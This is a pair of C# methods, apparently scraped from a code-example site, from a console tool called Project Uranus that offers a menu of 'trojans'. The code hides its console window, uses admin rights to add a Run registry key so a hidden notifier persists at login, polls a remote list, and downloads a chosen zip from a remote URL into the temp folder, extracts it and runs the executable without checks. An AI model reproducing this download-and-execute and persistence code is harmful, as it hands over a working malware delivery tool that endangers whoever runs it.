Exemplo n.º 1
0
        public static async Task Main(string[] args)
        {
            if (args.Length != 0)
            {
                switch (args[0])
                {
                case "/autorun":
                    ShowWindow(GetConsoleWindow(), SW_HIDE);
                    using (WindowsIdentity identity = WindowsIdentity.GetCurrent())
                    {
                        WindowsPrincipal principal = new WindowsPrincipal(identity);
                        if (principal.IsInRole(WindowsBuiltInRole.Administrator))
                        {
                            RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                            rkApp.SetValue("Project Uranus Notifier", Assembly.GetEntryAssembly().Location + " /notifier");
                            Execute(Assembly.GetEntryAssembly().Location, "/notifier");
                        }
                    }
                    return;

                case "/notifier":
                    ShowWindow(GetConsoleWindow(), SW_HIDE);
                    string current = "";
                    string last    = "";
                    ToastNotificationManagerCompat.OnActivated += toastArgs =>
                    {
                        if (toastArgs.Argument == "open")
                        {
                            Execute(Assembly.GetEntryAssembly().Location, "");
                        }
                    };
                    while (true)
                    {
                        try
                        {
                            current = Fetch("Trojans.txt");
                            if (current != last)
                            {
                                new ToastContentBuilder()
                                .AddText("A new trojan has been added!")
                                .AddText("Check it out in Project Uranus.")
                                .AddButton("Open Uranus", ToastActivationType.Background, "open")
                                .Show();
                            }
                            last = current;
                        }
                        catch { }
                        await Task.Delay(5000);
                    }
                }
            }

            Console.Title = $"Project Uranus | Modification {IntVer}";

            await CoolConsole.WriteLine("=================================");

            await CoolConsole.WriteLine("Project Uranus - TheAirBlow");

            await CoolConsole.WriteLine(GetStr(0));

            await CoolConsole.WriteLine("=================================");

            Console.ForegroundColor = ConsoleColor.Yellow;
            await CoolConsole.WriteLine("Напиши '1'  - Русский язык");

            await CoolConsole.WriteLine("Press Enter - English language");

            await CoolConsole.WriteLine("Note: Internet required");

            await CoolConsole.WriteLine("Заметка: Нужен Интернет");

            Console.ForegroundColor = ConsoleColor.Gray;
            await CoolConsole.WriteLine("=================================");

            char option1 = Console.ReadKey().KeyChar;

            Console.CursorLeft = 0;
            Console.CursorTop -= 5;
            await CoolConsole.ClearLines(6);

            if (option1 == '1')
            {
                isRussian = true;
            }

            await CoolConsole.Loading(5);

            Console.Clear();

            int latest = int.Parse(Fetch("LatestVersion.txt"));

            if (latest > IntVer)
            {
                await CoolConsole.WriteLine("=================================");

                await CoolConsole.WriteLine("Project Uranus - TheAirBlow");

                await CoolConsole.WriteLine(GetStr(0));

                await CoolConsole.WriteLine("=================================");

                Console.ForegroundColor = ConsoleColor.Yellow;
                await CoolConsole.WriteLine(GetStr(7));

                await CoolConsole.WriteLine(GetStr(8));

                Console.ForegroundColor = ConsoleColor.Gray;
                await CoolConsole.WriteLine("=================================");

                await Task.Delay(5000);

                Console.Clear();
            }

            await CoolConsole.WriteLine("=================================");

            await CoolConsole.WriteLine("Project Uranus - TheAirBlow");

            await CoolConsole.WriteLine(GetStr(0));

            await CoolConsole.WriteLine("=================================");

            Console.ForegroundColor = ConsoleColor.Yellow;
            await CoolConsole.WriteLine(GetStr(10));

            Console.ForegroundColor = ConsoleColor.Gray;
            await CoolConsole.WriteLine("=================================");

            char option2 = Console.ReadKey().KeyChar;

            Console.CursorLeft = 0;
            Console.CursorTop -= 5;
            await CoolConsole.ClearLines(6);

            if (option2 == '1')
            {
                ExecuteAsAdmin(Assembly.GetEntryAssembly().Location, "/autorun");
            }

            await CoolConsole.Loading(5);

            Console.Clear();

            await CoolConsole.WriteLine("=================================");

            await CoolConsole.WriteLine("Project Uranus - TheAirBlow");

            await CoolConsole.WriteLine(GetStr(0));

            await CoolConsole.WriteLine("=================================");

            Console.ForegroundColor = ConsoleColor.Yellow;
            await CoolConsole.WriteLine(GetStr(1));

            Console.ForegroundColor = ConsoleColor.Gray;
            await CoolConsole.WriteLine("=================================");

            char option = Console.ReadKey().KeyChar;

            Console.CursorLeft = 0;
            Console.CursorTop -= 4;
            await CoolConsole.ClearLines(6);

            if (option != '1')
            {
                await CoolConsole.WriteLine(GetStr(2));

                await CoolConsole.WriteLine("=================================");

                await Task.Delay(1000);

                return;
            }
            await Menu();
        }
Exemplo n.º 2
0
        public static async Task Menu()
        {
            string[]      trojans    = Fetch("Trojans.txt").Split('\n');
            List <Trojan> trojanData = new List <Trojan>();

            foreach (string str in trojans)
            {
                string[] trojan = Fetch(str).Split('\n');
                Trojan   t      = new Trojan();
                t.name = trojan[0];
                t.path = trojan[1];
                t.file = trojan[2];
                trojanData.Add(t);
            }

            Console.CursorTop = 4;
            await CoolConsole.ClearLines(10);

            Console.ForegroundColor = ConsoleColor.Cyan;
            await CoolConsole.WriteLine(GetStr(3));

            for (int i = 0; i < trojanData.Count; i++)
            {
                Trojan t = trojanData[i];
                await CoolConsole.WriteLine($"{i}) {t.name}");
            }
            await CoolConsole.WriteLine(GetStr(4));

            Console.ForegroundColor = ConsoleColor.Gray;
            await CoolConsole.WriteLine("=================================");

            char option = Console.ReadKey().KeyChar;

            Console.CursorLeft = 0;
            switch (option)
            {
            case '#':
                Console.CursorTop = 4;
                await CoolConsole.ClearLines(6);

                await CoolConsole.WriteLine(GetStr(2));

                await CoolConsole.WriteLine("=================================");

                await Task.Delay(1000);

                return;

            default:
                int i = 0;
                try { i = int.Parse(option.ToString()); }
                catch { }

                if (i >= 0 && i < trojanData.Count)
                {
                    Console.CursorTop = 4;
                    await CoolConsole.ClearLines(10);

                    await CoolConsole.WriteLine(GetStr(9));

                    if (Directory.Exists(Path.Combine(Path.GetTempPath(), "ProjectUranus")))
                    {
                        string[] files = Directory.GetFiles(Path.Combine(Path.GetTempPath(), "ProjectUranus"));
                        foreach (string file in files)
                        {
                            File.Delete(file);
                        }
                    }
                    Directory.CreateDirectory(Path.Combine(Path.GetTempPath(), "ProjectUranus"));
                    using (var client = new WebClient())
                        client.DownloadFile(trojanData[i].path, Path.Combine(Path.GetTempPath(), "ProjectUranus", "trojan.zip"));
                    ZipFile.ExtractToDirectory(Path.Combine(Path.GetTempPath(), "ProjectUranus", "trojan.zip"),
                                               Path.Combine(Path.GetTempPath(), "ProjectUranus"));
                    Process.Start(Path.Combine(Path.GetTempPath(), "ProjectUranus", trojanData[i].file));
                }
                else
                {
                    Console.CursorTop = 4;
                    await CoolConsole.ClearLines(5);

                    Console.ForegroundColor = ConsoleColor.Red;
                    await CoolConsole.WriteLine(GetStr(5));

                    Console.ForegroundColor = ConsoleColor.Gray;
                    await CoolConsole.WriteLine("=================================");

                    await Task.Delay(1000);
                    await Menu();
                }
                await Menu();

                return;
            }
        }